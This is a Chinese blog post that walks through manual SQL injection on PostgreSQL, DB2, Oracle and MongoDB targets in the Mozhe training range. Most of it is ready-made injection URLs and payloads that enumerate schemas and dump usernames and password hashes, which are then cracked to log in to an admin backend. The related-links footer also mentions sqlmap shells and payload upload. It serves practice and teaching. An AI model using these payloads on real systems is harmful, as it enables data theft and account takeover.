不同数据库的SQL注入不同手工注入方法的汇总

最新推荐文章于 2024-02-18 14:41:34 发布
最新推荐文章于 2024-02-18 14:41:34 发布
阅读量1.3k 收藏 13
点赞数 1
分类专栏： 注入绕过 文章标签： 墨者靶场 SQL注入 不同数据库不同注入方式
原文链接：https://blog.csdn.net/qq_39936434/article/details/95189515
版权

不同数据库的注入方式

以下资源部分为自己的理解，部分为墨者上面的解题思路，此处做的是汇总，由于不知墨者大佬的出处，故无法做出转载地址，所以此文归类为转载，若是墨者大佬在这里看到了属于你的文章，觉得我发不太好请及时联系我，我好做删除处理

Mysql手工注入

大家可以去看一下博客，有很详细的讲解如何进行sql注入
https://blog.csdn.net/weixin_48421613/article/details/107488560
https://blog.csdn.net/weixin_48421613/article/details/107491562
https://blog.csdn.net/weixin_48421613/article/details/108298670

PostgreSQL数据库注入

PostgreSQL与mysql基本类似主要思路
一、确定数据库版本决定注入的方式
由于PostgreSQL与mysql5.0以上版本都有snformation_schema 数据库 所以 数据库的表名、列名等信息都在information_schema 中存储只需要按照步骤一步一步的获取需要的信息即可
二、获取表名（由于存储方式的不同用不到数据库名字所以不必获取在mysql中需要获取）
这里需要注意的是表名不只有一个因此要在union select null,relname,null,null from pg_stat_user_tables 后加上limit 1 offset 1 查询到所有的表名其中锁定的是reg_users
三、利用上一步获得的表名（reg_users）在information_schema中查询该表所有的列名
在information_schema中的column_name 列中存储了所有的 所有的数据库表列名 利用如下命令：
union select null,null,column_name,null from information_schema.columns where table_name=% reg_users% limit 1 offset 1
可以查出在information_schema.columns表 中 table_name列的值等于reg_users时column_name列的值命令最后一个数字从0 一直加1 到4的时候报错 说明共有4个值
至此获得了 reg_users 中的所有列名 锁定 其中的name password
四、通过上一步获得列名在表中获取对应的值
使用注入命令为union select null,name,password,null from reg_users
为防止reg_users表中的列有多个值 可在注入命令后加上 limit 1 offset 1（最后一个数字从0向上递增直到报错为止就查出了所有的值 ）
最终获得两组name 和password

1.通过公告进入页面
在这里插入图片描述2.获取当前库名
http://219.153.49.228:46939/new_list.php?id=-1+union++select+%271%27,current_database(),%273%27,%274%27–±
在这里插入图片描述3.利用PG_STATIO_USER_TABLES表，该表统计当前使用情况统计信息
字段信息如下，我们用到其中的relname
在这里插入图片描述SQL查询语句中的 limit 与 offset 的区别：

limit y 分句表示: 读取 y 条数据

limit x, y 分句表示: 跳过 x 条数据，读取 y 条数据

limit y offset x 分句表示: 跳过 x 条数据，读取 y 条数据

http://219.153.49.228:46939/new_list.php?id=-1+union++select+%271%27,relname,%273%27,%274%27+from+PG_STATIO_USER_TABLES+limit+1%20offset%201–±
在这里插入图片描述4.获取字段名
http://219.153.49.228:46939/new_list.php?id=-1+union+select+%271%27,column_name,%273%27,%274%27+from+information_schema.columns+where+table_name=%27reg_users%27+limit%201%20offset%201

在这里插入图片描述http://219.153.49.228:46939/new_list.php?id=-1+union+select+%271%27,column_name,%273%27,%274%27+from+information_schema.columns+where+table_name=%27reg_users%27+limit%201%20offset%200
在这里插入图片描述5.爆数据
http://219.153.49.228:46939/new_list.php?id=-1+union+select+%271%27,name,%273%27,%274%27+from+reg_users+limit%201%20offset%200
在这里插入图片描述http://219.153.49.228:46939/new_list.php?id=-1+union+select+%271%27,password,%273%27,%274%27+from+reg_users+limit%201%20offset%200
在这里插入图片描述或者：
http://219.153.49.228:46939/new_list.php?id=-1+union+select+’1’,name||’::’||password,’3’,’4’+from+reg_users
在这里插入图片描述http://219.153.49.228:46939/new_list.php?id=-1 union select null,‘null’,‘用户名:’||name||’,密码:’||password||’,状态:’||status||’,id:’||id,null from reg_users
在这里插入图片描述此处部分出处为—》》》https://blog.csdn.net/qq_39936434/article/details/95189515 感谢大佬 “吃肉唐僧”

DB2数据库手工注入

id=-1 ;id =1 and 1=2 判断注入点
order by 4
union select 1,2,3,4 from sysibm.systables 语法需要sysibm.systables:系统为每一个表，视图和别名在该表中创建一行记录。 猜注入位置
注释：DB2后面要跟上存在的表，只要存在就可以，系统表随便来一张
①爆当前库名
union select 1,current schema,3,4 from sysibm.sysdummy1 （可忽略）
SYSIBM.SYSDUMMY1表是一个内存的特殊表（按照Oracle的术语，习惯称之为“伪表”），常用于访问DB2中的寄存器，从而返回特定需要内容，类同于临时表,可以用来返回当前实时信息

limit爆破表名
union select 1,tabname,3,4 from syscat.tables where tabschema =current schema limit 0,1
注释：syscat.tables：记录表名的信息
limit爆列：
union select 1,column_name,3,4 from sysibm.columns where table_schema = current schema and table_name =‘GAME_CHARACTER’ limit 0,4
sysibm.columns：记录列名的信息

limit爆数据。。。
union select 1,name,password,4 from GAME_CHARACTER limit 0,1 --limit 1,1为正确用户和密文

以上为墨者解题思路
以下为实践部分以及逐步分解
1.爆字段位置
http://219.153.49.228:43090/new_list.php?id=-1+union+select+1,2,3,4%20from%20sysibm.sysdummy1–%20-
在这里插入图片描述2.爆当前库
http://219.153.49.228:43090/new_list.php?id=-1%20union%20select%201,2,current%20schema,4%20from%20sysibm.sysdummy1
在这里插入图片描述3.爆当前库的表
http://219.153.49.228:43090/new_list.php?id=-1%20union%20select%201,tabname,3,4%20from%20syscat.tables%20where%20tabschema%20=current%20schema%20limit%200,1
在这里插入图片描述4.爆字段
http://219.153.49.228:43090/new_list.php?id=-1%20union%20select%201,column_name,3,4%20from%20sysibm.columns%20where%20table_schema%20=%20current%20schema%20and%20table_name%20=%27GAME_CHARACTER%27%20limit%200,4
在这里插入图片描述5.爆数据
http://219.153.49.228:43090/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20GAME_CHARACTER%20limit%200,1%20–limit%201,1

在这里插入图片描述由于此处解题思路为墨者上面大佬写的，导致我没有找到人家的博客地址，没有办法写出处了，抱歉了各位

Oracle 数据库

http://219.153.49.228:41405/new_list.php?id=1 order by 2 判断字段数

http://219.153.49.228:41405/new_list.php?id=-1 union select ‘null’,‘null’ from dual 判断回显位及其类型，oracle中select必跟from，其中dual为其自带虚拟表

http://219.153.49.228:41405/new_list.php?id=-1 union select ‘null’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual 找出第一个用户创建的表中表名含有user的表名

http://219.153.49.228:41405/new_list.php?id=-1 union select ‘null’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’) from dual 找出sns_user表中第一列列名

http://219.153.49.228:41405/new_list.php?id=-1 union select ‘null’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name <>‘USER_NAME’) from dual 找出sns_user表中第二列列名

http://219.153.49.228:41405/new_list.php?id=-1 union select USER_NAME,USER_PWD from “sns_users”
查出sns_users表中第一行数据，md5解码后发现不对

http://219.153.49.228:41405/new_list.php?id=-1 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ 查出第二行数据，解码后登录后台
方法二：
判断列数

http://219.153.49.228:49225/new_list.php?id=1 order by 2, 页面有回显

http://219.153.49.228:49225/new_list.php?id=1 order by 3，页面无回显

在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的，也可以使用null代替某些无法快速猜测出数据类型的位置。
联合注入
http://219.153.49.228:49225/new_list.php?id=1 union select ‘1’,‘2’ from dual – +

获取当前用户
http://219.153.49.228:49225/new_list.php?id=1 union select (select sys_context(‘userenv’,‘current_user’) from dual),null from dual – +

用户是：SYSTEM

获取当前数据库版本
http://219.153.49.228:49225/new_list.php?id=1 union select (select banner from sys.v_$version where rownum=1),null from dual – +

数据库版本是：Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

like匹配相关表，获取表
http://219.153.49.228:49225/new_list.php?id=1 union select (select table_name from all_tables where rownum=1 and table_name like ‘%user%’),null from dual – +

获取到相关表 sns_users

获取表中列
http://219.153.49.228:49225/new_list.php?id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’),null from dual – +

USER_NAME

http://219.153.49.228:49225/new_list.php?id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name not in(‘USER_NAME’)),null from dual – +

USER_PWD

http://219.153.49.228:49225/new_list.php?id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name not in(‘USER_NAME’,‘USER_PWD’)),null from dual – +

STATUS

sns_users表中有USER_NAME,USER_PWD,STATUS 三列

继续注入列信息，这里有两个回显点

http://219.153.49.228:49225/new_list.php?id=1 union select USER_NAME,USER_PWD from “sns_users” – +

hu
1c63129ae9db9g20asdua94d3e00495

设置where条件，过滤第一条hu行
http://219.153.49.228:49225/new_list.php?id=1 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ – +

mozhe
50c8db3b8ec5551c5d67e079b5da34cc

继续过滤mozhe
http://219.153.49.228:49225/new_list.php?id=1 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ and USER_NAME <> ‘mozhe’ – +

zhong
1c63129ae9asc60asdua94d3e00495

无回显了
http://219.153.49.228:49225/new_list.php?id=1 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ and USER_NAME <> ‘mozhe’ and USER_NAME <> ‘zhong’ – +

解MD5

方法三：
墨者靶场 orical数据库sql注入第一步：确定注入点

这个位置点进去，刚好发现url 然后 and 1=2 试试看
第二步：确定数据库类型
排除法：使用orcale 特有的语句：select count() from dual
只能查出来一条语句，所以：(select count() from dual)=1
如果成立，则存在注入点：
第三步：确定字段数（order by）
使用order by来确定字段数
http://219.153.49.228:41164/new_list.php?id=1 order by 2
如果正确则返回正常，如果不正确则返回错误
第四步：确定参数类型
使用联合查询来确定类型(需先确定字段数)
http://219.153.49.228:41164/new_list.php?id=1 union select ‘1’,‘2’ from dual
http://219.153.49.228:41164/new_list.php?id=1 union select ‘1’,‘2’ from dual

返回正常，则可以确定是字符串类型
第五步：获取数据库名称

http://219.153.49.228:41164/new_list.php?id=1 union select (SELECT instance_name FROM V$INSTANCE),‘2’ from dual

第六步：获取表名
因为一次只能显示一条数据，所以需要加上：where rownum=1
SELECT table_name FROM all_tables
显示出来的明显跟我们需要的不符，所以再加上个条件语句：table_name like ‘%user%’
http://219.153.49.228:41164/new_list.php?id=1 union select (SELECT table_name FROM all_tables where rownum=1 and table_name like ‘%user%’),‘我去你妈’ from dual

第七步：确定列名
因为一次只能显示一条数据，所以需要加上：where rownum=1
SELECT column_name FROM all_tab_columns WHERE table_name = ‘sns_users’ and rownum=1
这是查询一条，可以直接合并一下
http://219.153.49.228:41164/new_list.php?id=1 union select (SELECT column_name FROM all_tab_columns WHERE table_name = ‘sns_users’ and rownum=1),(SELECT column_name FROM all_tab_columns WHERE table_name = ‘sns_users’ and rownum=1 and column_name <> ‘USER_NAME’) from dual

第八步：确定内容
双引号：关键字，对象名、字段名加双引号，则示意 Oracle将严格区 分大小写，否则Oracl都默认大写。
因为orcale数据库区分单引号，所以查询语句应该是：UNION SELECT USER_NAME,USER_PWD from “sns_users”

登录一下试试看：
好的，md5无法解密，试试看还有没有其他的表
加个条件判断
SELECT USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’

再去解密试试看
OK，解密成功，登录一下
好的，到此，ORCALE SQL 注入靶场搞定

此处依然全部为墨者大佬提供的解题思路，若是有侵权请联系我及时删除

Mongodb数据库

Mongodb数据库是以json数据格式传输
解题思路：
根据提示发现其查询数据库的语句，该应用使用的时execute函数就行sql语句查询

获取回显数字
id=1’}); return ({title:1,content:'2
设置title和content的值，因为从下面的代码可以获得，这两个字段为数据库返回的字段

爆出数据库
id=1’}); return ({title:tojson(db),content:‘2
tojson函数是为了将db查到的内容转化为json格式
爆出表名
id=1’}); return ({title:tojson(db.getCollectionNames()),content:‘2
爆出列名和数据
id=1’}); return ({title:tojson(db.Authority_confidential.find()[0]),content:‘1
find()函数为查询函数，为空时默认查出所有的数据，[0]表示第一条数据
第二条数据
id=1’}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

在这里插入图片描述1.爆字段
http://219.153.49.228:42585/new_list.php?id=1%27});return%20({title:1,content:%272
在这里插入图片描述2.爆库
http://219.153.49.228:42585/new_list.php?id=1%27});%20return%20({title:tojson(db),content:%272
在这里插入图片描述3.爆表
http://219.153.49.228:42585/new_list.php?id=1%27});%20return%20({title:tojson(db.getCollectionNames()),content:%272
在这里插入图片描述4.爆字段以及数据
http://219.153.49.228:42585/new_list.php?id=1%27});%20return%20({title:tojson(db.Authority_confidential.find()[0]),content:%271
在这里插入图片描述
http://219.153.49.228:42585/new_list.php?id=1%27});%20return%20({title:tojson(db.Authority_confidential.find()[1]),content:%271
在这里插入图片描述

vlan911
关注
  • 1
    点赞
  • 踩
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
SQL手工注入大全，包含各种数据库
04-30
详细讲解各种数据库的sql注入方法，不管是搞安全还是搞开发都可以看一看，希望大家下载！
各个数据库类型注入思路
weixin_52657559的博客
09-19 705
MYsql、Access、mssql、postgresql、Orecle、MongoDB数据库查询语句
小迪安全26WEB 攻防-通用漏洞&SQL 注入 &Sqlmap&Oracle&Mongodb&DB2 等
最新发布
weixin_73760178的博客
02-18 1141
通过sqlmap找到管理员账号和密码，从而登入后台，再利用后台进行os-shell的连接实现shell交互，此时通过shell交互便可获取到对方服务器的IP等敏感信息，同时，在自己的服务器中开启监听，利用高级权限读写文件，向对服务器写入payload（.exe）并运行，实现上线服务器，然后在监听过程中开启msf，从而提权。猜回显位：用的是单引号，进行猜测，因为在数据库中加入单引号是一种字符类型的，通过SQL语句，判断之后的数据是否能正常的显示页面，从而进行判断注入点。测回显：/new_list.php?
切换schema_CURRENT_SCHEMA 的另一种使用
weixin_39951773的博客
12-22 680
我们要访问另外一个用户的表时，一般是 select * from schema.table_name 方式，有时，觉得要在表名前加一个SCHEMA，比较繁琐，我们就会使用同义词的方式来处理 ，比如 create synonym xxx for http://schma.xxx；那能否有另外一种方式呢，答案是肯定的我们可以使用 alter session set current_schema=n...
SQL手工注入漏洞测试(MySQL数据库)
chinacqzgp的博客
09-18 1727
墨者学院靶场，sql注入，MySQL数据库
Oracle迁移PostgreSQL经验总结
GISsunchangfu的专栏
09-08 6600
本文完全转载自：http://my.oschina.net/liyuj/blog/539303?fromerr=L3ZJLcuW&utm_source=tuicool&utm_medium=referral 摘要 Oracle迁移PostgreSQL数据库经验总结（SQL部分，未完待续），本文只包括了我工作中接触到或者用到的技术点，其实两个数据库设计上的差异是很大的，但是Oracl
靶机-南方数据站源代码存在cookie注入
05-09
靶机-南方数据站源代码存在cookie注入！网站对get和post请求的参数进行过滤，请使用burpsuite修改cookie进行注入！
常用SQL语句常见建表建索引等DDL语句（PGSQL）
w8y56f的专栏
02-16 3195
背景 pgsql常见DDL语句，怎么建主键，怎么建索引，建表时自动建sequence，查询某个表是否存在，某个表是否存在某个字段，某个索引是否存在，查主键的名字 查 “是否存在” 获得当前数据库(catalog)和schema --使用这两个函数 select current_database(); select current_schema(); 查schema下有什么表 --查询当前schema下有什么表（方法一） select * from pg_tables where schemanam
SQL注入（不同数据库之间）
qi_SJQ_的博客
11-08 1173
简要学习各种数据库的注入特点： 数据库：Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase等。 工具：Sqlmap, NoSQLAttack, Pangolin等。 其他数据库大体结构都相同，但access的数据库存在于asp网站内的一个文件夹下，不同网站对应不同数据库。 因此注入方式有所不同，不用注库名，而且没有access数据库没有文件读写功能等等特点。 故有以下结构： ...
介绍SQL手工注入高级技巧
hzfr888的博客
06-29 245
突然想我们是否可以用什么方法绕过SQL注入的限制呢？到网上考察了一下，提到的方法大多都是针对AND与“'”号和“=”号过滤的突破，虽然有点进步的地方，但还是有一些关键字没有绕过，由于我不常入侵网站所以也不敢对上述过滤的效果进行评论，但是可以肯定的是，效果不会很好…… 经过我的收集，大部分的防注入程序都过滤了以下关键字： and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 而这里最难处理的就
[转] sql注入之手工注入示例详解
weixin_34293141的博客
12-24 266
2019独角兽企业重金招聘Python工程师标准>>> ...
DB2数据库SQL注入语句
02-17
可以试试学习一下，不可以滥用， 猜用户表数量： and 0<(SELECT count(NAME) FROM SYSIBM.SYSTABLES where CREATOR=USER)
DB2数据库SQL注入手册1
08-08
DB2数据库SQL注入手册1
SQL手工注入大全：包含各种类型的SQL注入，实现手工注入的乐趣，此资源你值得拥有。
05-31
此资源包含：宽字节注入、SQL手工注入漏洞测试(Oracle数据库)、SQL手工注入漏洞测试(Sql Server数据库)、SQL手工注入漏洞测试(Access数据库)、SQL手工注入漏洞测试(PostgreSQL数据库)、SQL手工注入漏洞测试(MongoDB...
sql注入数据库修复的两种实例方法
01-21
1.第一种情况是 需要将指定的 注入字符串全部替换掉（仅替换注入的字符串为空） 代码如下:declare @delStr nvarchar(500) set @delStr='[removed][removed]’ –这里被注入的字段串 /****************************...
sql注入绕过方法总结
12-19
sql注入绕过方法总结，绕过waf，D盾
SQL注入的常见方式
LainWith的博客
10-09 6944
目录联合查询（union）函数介绍order byunion select操作布尔盲注 （and or）函数介绍mid 从中间截取字符left 从左开始截取字符ord、ascii 转成ascii码length 统计长度andregexp 正则注入-针对MySQL操作1. 猜数据库长度2. 猜数据库名 （配合BurpSuite）3. 猜表的个数4. 猜表5. 猜列6. 猜值延时注入（sleep if）函数操作1. 猜数据库长度2. 猜数据库名3. 猜表名4. 猜测 users 表的列5. 猜值宽字节注入引子
Java防止SQL注入（通过Filter过滤器功能进行拦截）
qq_37272886的博客
05-18 6268
前言 contentType=multipart/form-data的header以文件流的的形式上传文件时，如果代码中使用了Filter，会出现无法用Filter 中用ServletRequest.getParameter 方法取不到一并提交上来的参数 multipart/form-data格式： package com.cn.unit.filter; import java.io.IOException; import javax.servlet.Filter; import java.
current_schema参数的用途
congdingfu1756的博客
10-16 668
用户A包含表TBL，如果用户A将TBL的访问权限给用户B(grant select any table to B)，则在用户B中要想引用用户A的表，不使用同义词，则需要用select * from A.TBL; ...
达梦数据库sql注入
10-20
达梦数据库也存在SQL注入漏洞，如果使用该类数据库的站点存在SQL注入漏洞，用SQLmap等工具无法支持我们直接得到想要的数据，我们需要理解这些数据库的语法才能更好的进行手工注入。以下是一些达梦数据库的手工注入...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值